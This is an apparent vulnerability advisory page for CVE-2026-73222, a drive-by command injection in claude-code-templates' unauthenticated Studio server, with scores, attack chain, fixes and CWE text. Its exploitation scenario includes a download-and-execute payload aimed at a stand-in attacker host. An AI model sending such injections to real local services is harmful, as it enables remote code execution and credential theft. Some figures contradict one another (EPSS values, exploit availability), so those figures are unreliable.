CVE-2026-73222: Claude Code unauth RCE

Q: Is CVE-2026-73222 actively exploited?

No confirmed active exploitation of CVE-2026-73222 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-73222?

Upgrade claude-code-templates to 1.29.4 or later immediately — the fix removes unauthenticated shell-based command construction from /api/execute and /api/install-agent. Until upgraded, do not run `--studio` on any host reachable by untrusted parties; bind it to localhost only and avoid browsing untrusted websites while Studio is running, since the attack requires only a visit to a malicious page. Firewall port 3444 at the host level as defense-in-depth. For detection, audit developer endpoints for outbound connections or unexpected child processes spawned by node processes tied to claude-code-templates, and review shell history/EDR logs for anomalous commands issued by a Node.js parent process. Treat this as a dev-tooling supply-chain control point: pin and monitor claude-code-templates versions in onboarding docs and setup scripts.

Q: What systems are affected by CVE-2026-73222?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, developer/CLI tooling.

Q: What is the CVSS score for CVE-2026-73222?

CVE-2026-73222 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.32%.

CISO Take

Claude Code Studio, launched via the --studio flag in claude-code-templates prior to 1.29.4, starts a local server that binds to all network interfaces on port 3444, accepts cross-origin requests, and requires no authentication — so an attacker-controlled prompt or agentName field passed to /api/execute or /api/install-agent flows straight into child_process.spawn() with shell execution enabled, letting shell metacharacters run as arbitrary OS commands. For CISOs, the real risk is drive-by: a developer running Studio only has to visit a malicious webpage for CVSS 8.8 (AV:N/PR:N/C:H/I:H/A:H) code execution against their own machine, exposing source code, credentials, and local secrets. Zero downstream npm dependents, no CISA KEV listing, EPSS at just 0.2% (89th percentile), and no public exploit or Nuclei template keep this out of active-exploitation territory for now — CISA's SSVC decision is ATTEND, not Act. Even so, any team using claude-code-templates should upgrade to 1.29.4 immediately, since the fix is a simple version bump and unauthenticated-localhost-dev-server-plus-shell-spawn is a pattern attackers have historically weaponized fast once public.

Sources: NVD GitHub Advisory EPSS CISA KEV ATLAS github.com

What is the risk?

High severity (CVSS 8.8) unauthenticated remote code execution requiring only user interaction (visiting a malicious page) to trigger — attack complexity is low and no privileges are required. Real-world exploitation likelihood is currently low: EPSS is 0.2% (89th percentile), there is no public PoC or Nuclei template, the CVE is not in CISA KEV, and CISA's SSVC verdict is ATTEND rather than Act. However, the affected surface — a developer's local machine holding source code, credentials, and cloud/CI tokens — makes any successful exploitation high-impact despite the low current likelihood, and the drive-by delivery mechanism (cross-origin POST to an unauthenticated localhost service) is a well-known pattern with a track record of rapid weaponization once it goes public.

How does the attack unfold?

Initial Access

Attacker lures a developer running Claude Code Studio (bound to 0.0.0.0:3444, no auth) into visiting a malicious website that fires a cross-origin POST to the local Studio API.

AML.T0078

Exploitation

The cross-origin request injects shell metacharacters into the prompt or agentName field sent to /api/execute or /api/install-agent, which reach child_process.spawn() with shell execution enabled.

AML.T0050

Execution

Node.js interprets the injected metacharacters, executing arbitrary OS commands with the developer's local privileges.

AML.T0112.000

Impact

Attacker uses the resulting code execution to exfiltrate source code, credentials, and local secrets from the developer's machine.

AML.T0037

Initial Access

Attacker lures a developer running Claude Code Studio (bound to 0.0.0.0:3444, no auth) into visiting a malicious website that fires a cross-origin POST to the local Studio API.

AML.T0078

Exploitation

The cross-origin request injects shell metacharacters into the prompt or agentName field sent to /api/execute or /api/install-agent, which reach child_process.spawn() with shell execution enabled.

AML.T0050

Execution

Node.js interprets the injected metacharacters, executing arbitrary OS commands with the developer's local privileges.

AML.T0112.000

Impact

Attacker uses the resulting code execution to exfiltrate source code, credentials, and local secrets from the developer's machine.

AML.T0037

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Claude Code	npm	<= 1.29.2	`1.29.4`
146.8K Pushed 6d ago 70% patched ~5d to patch Full package profile →

Do you use Claude Code? You're affected.

How severe is it?

CVSS 3.1

8.8 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 22% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI Required

S Unchanged

C High

I High

A High

What should I do?

1 step

Upgrade claude-code-templates to 1.29.4 or later immediately — the fix removes unauthenticated shell-based command construction from /api/execute and /api/install-agent. Until upgraded, do not run --studio on any host reachable by untrusted parties; bind it to localhost only and avoid browsing untrusted websites while Studio is running, since the attack requires only a visit to a malicious page. Firewall port 3444 at the host level as defense-in-depth. For detection, audit developer endpoints for outbound connections or unexpected child processes spawned by node processes tied to claude-code-templates, and review shell history/EDR logs for anomalous commands issued by a Node.js parent process. Treat this as a dev-tooling supply-chain control point: pin and monitor claude-code-templates versions in onboarding docs and setup scripts.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Auth Bypass Social Engineering Agent Framework AML.T0050 - Command and Scripting Interpreter AML.T0078 - Drive-by Compromise AML.T0081 - Modify AI Agent Configuration AML.T0112.000 - Local AI Agent

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6 - AI system operation and monitoring

NIST AI RMF

MEASURE 2.7 - AI system security and resilience evaluated

OWASP LLM Top 10

LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-73222?

Claude Code Studio, launched via the --studio flag in claude-code-templates prior to 1.29.4, starts a local server that binds to all network interfaces on port 3444, accepts cross-origin requests, and requires no authentication — so an attacker-controlled prompt or agentName field passed to /api/execute or /api/install-agent flows straight into child_process.spawn() with shell execution enabled, letting shell metacharacters run as arbitrary OS commands. For CISOs, the real risk is drive-by: a developer running Studio only has to visit a malicious webpage for CVSS 8.8 (AV:N/PR:N/C:H/I:H/A:H) code execution against their own machine, exposing source code, credentials, and local secrets. Zero downstream npm dependents, no CISA KEV listing, EPSS at just 0.2% (89th percentile), and no public exploit or Nuclei template keep this out of active-exploitation territory for now — CISA's SSVC decision is ATTEND, not Act. Even so, any team using claude-code-templates should upgrade to 1.29.4 immediately, since the fix is a simple version bump and unauthenticated-localhost-dev-server-plus-shell-spawn is a pattern attackers have historically weaponized fast once public.

Is CVE-2026-73222 actively exploited?

No confirmed active exploitation of CVE-2026-73222 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-73222?

Upgrade claude-code-templates to 1.29.4 or later immediately — the fix removes unauthenticated shell-based command construction from /api/execute and /api/install-agent. Until upgraded, do not run `--studio` on any host reachable by untrusted parties; bind it to localhost only and avoid browsing untrusted websites while Studio is running, since the attack requires only a visit to a malicious page. Firewall port 3444 at the host level as defense-in-depth. For detection, audit developer endpoints for outbound connections or unexpected child processes spawned by node processes tied to claude-code-templates, and review shell history/EDR logs for anomalous commands issued by a Node.js parent process. Treat this as a dev-tooling supply-chain control point: pin and monitor claude-code-templates versions in onboarding docs and setup scripts.

What systems are affected by CVE-2026-73222?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, developer/CLI tooling.

What is the CVSS score for CVE-2026-73222?

CVE-2026-73222 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.32%.

What is the AI security impact?

Affected AI Architectures

agent frameworksdeveloper/CLI tooling

MITRE ATLAS Techniques

AML.T0050 Command and Scripting Interpreter

AML.T0078 Drive-by Compromise

AML.T0081 Modify AI Agent Configuration

AML.T0112.000 Local AI Agent

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2.6

NIST AI RMF: MEASURE 2.7

OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer's privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4.

Exploitation Scenario

A developer runs `npx claude-code-templates --studio` to monitor their Claude Code agent workflow, which silently starts a server on 0.0.0.0:3444 with no authentication and permissive CORS. While the tool runs in the background, the developer browses to an attacker-controlled site (or a compromised script on a legitimate one). That page's JavaScript issues a cross-origin POST to http://localhost:3444/api/execute with a prompt field containing shell metacharacters (e.g., `task; curl http://attacker.tld/payload.sh | bash`). Because CORS allows the request and the prompt is passed unsanitized into child_process.spawn() with shell execution enabled, the injected command runs with the developer's OS privileges — giving the attacker a foothold to exfiltrate the local source tree, `.env` secrets, SSH keys, and cloud CLI credentials, or to pivot into CI/CD systems the developer can reach.

Weaknesses (CWE)

CWE-306 Missing Authentication for Critical Function Primary CWE-352 Cross-Site Request Forgery (CSRF) Primary CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Primary CWE-306 Missing Authentication for Critical Function CWE-352 Cross-Site Request Forgery (CSRF) CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

[Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
[Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.